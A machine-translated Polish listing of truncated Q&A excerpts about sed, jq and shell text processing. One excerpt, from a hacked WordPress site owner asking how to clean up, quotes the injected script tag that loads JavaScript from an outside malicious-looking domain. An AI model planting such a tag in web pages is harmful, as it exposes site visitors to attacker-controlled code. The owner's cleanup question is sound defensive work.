Sed (Stream EDitor) to edytor wiersza poleceń dla środowiska POSIX. Sed przetwarza jeden lub więcej plików zgodnie ze skryptem edycyjnym i zapisuje wyniki na standardowe wyjście. Stworzony w Bell Labs, istnieje od połowy lat 70.
Mam plik, który wygląda mniej więcej tak: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> I trzeba wyodrębnić coś wewnątrz cudzysłowów, które następują name=, to znaczy content_analyzer, content_analyzer2i content_analyzer_items. Robię to na Linuksie, więc rozwiązanie wykorzystujące sed, perl, grep lub …
Oto przykładowy plik: somestuff... all: thing otherthing some other stuff Chcę dodać do wiersza, który zaczyna się od all:tego: somestuff... all: thing otherthing anotherthing some other stuff
Cel Zmień te nazwy plików: F00001-0708-RG-biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl do tych nazw plików: F0001-0708-RG-biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl Kod powłoki Testować: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' Występować: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh Moje pytanie Nie rozumiem kodu seda. Rozumiem, co to polecenie zamiany $ sed 's/something/mv' znaczy. I trochę rozumiem wyrażenia …
Próbuję jqprzeanalizować strukturę JSON, taką jak: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } Oznacza to, że element w formacie JSON jest ciągiem znaków ze zmienionym kodem JSON. Więc mam coś w stylu $ jq [.c] myFile.json | jq [.id] Ale to się psuje jq: error: …
Mylą mnie dwie koncepcje sed: trzymaj przestrzeń i przestrzeń wzorców. Czy ktoś może pomóc je wyjaśnić? Oto fragment instrukcji: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. Te sześć poleceń …
Chcę przejrzeć kilka katalogów i zmienić nazwy wszystkich plików kończących się na _test.rb, aby zamiast tego kończyły się na _spec.rb. To jest coś, czego nigdy nie wymyśliłem, jak zrobić z bashem, więc tym razem pomyślałem, że włożyłem trochę wysiłku, aby to przybić. Jednak do tej pory nie wychodzę, mój najlepszy …
Mam plik, który składa się z kilku wierszy tekstu: The first line The second line The third line The fourth line Mam ciąg, który jest jedną z linii: The second line Chcę usunąć ciąg i wszystkie wiersze po nim w pliku, więc usunie The third linei The fourth lineoprócz ciągu. …
Chciałbym wydrukować liczbę znaków w każdym wierszu pliku tekstowego za pomocą polecenia unix. Wiem, że z PowerShell jest to proste gc abc.txt | % {$_.length} ale potrzebuję polecenia unix.
Próbuję użyć SED do wyodrębnienia tekstu z pliku dziennika. Mogę przeprowadzić wyszukiwanie i zamianę bez większych problemów: sed 's/foo/bar/' mylog.txt Jednak chcę, aby w wyszukiwaniu nie była rozróżniana wielkość liter. Z tego, co wyszukałem w Google, wygląda na to, że dołączanie ido końca polecenia powinno działać: sed 's/foo/bar/i' mylog.txt Jednak …
Chcę usunąć wszystkie spacje z podanego pliku tekstowego. Czy jest do tego dostępne jakieś polecenie powłoki? Lub jak używać seddo tego celu. Chcę coś takiego poniżej: $ cat hello.txt | sed .... Próbowałem tego: cat hello.txt | sed 's/ //g'.Ale usuwa tylko spacje, a nie tabulatory.
Próbuję wyszukać i zamienić ciąg we wszystkich plikach dopasowanych przez grep: grep -n 'foo' * da mi wynik w postaci: [filename]:[line number]:[text] Dla każdego pliku zwróconego przez grep chciałbym zmodyfikować plik, zastępując foogo bar.
Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Przeszukałem go za pomocą grep przy użyciu …
Używamy plików cookie i innych technologii śledzenia w celu poprawy komfortu przeglądania naszej witryny, aby wyświetlać spersonalizowane treści i ukierunkowane reklamy, analizować ruch w naszej witrynie, i zrozumieć, skąd pochodzą nasi goście.
Kontynuując, wyrażasz zgodę na korzystanie z plików cookie i innych technologii śledzenia oraz potwierdzasz, że masz co najmniej 16 lat lub zgodę rodzica lub opiekuna.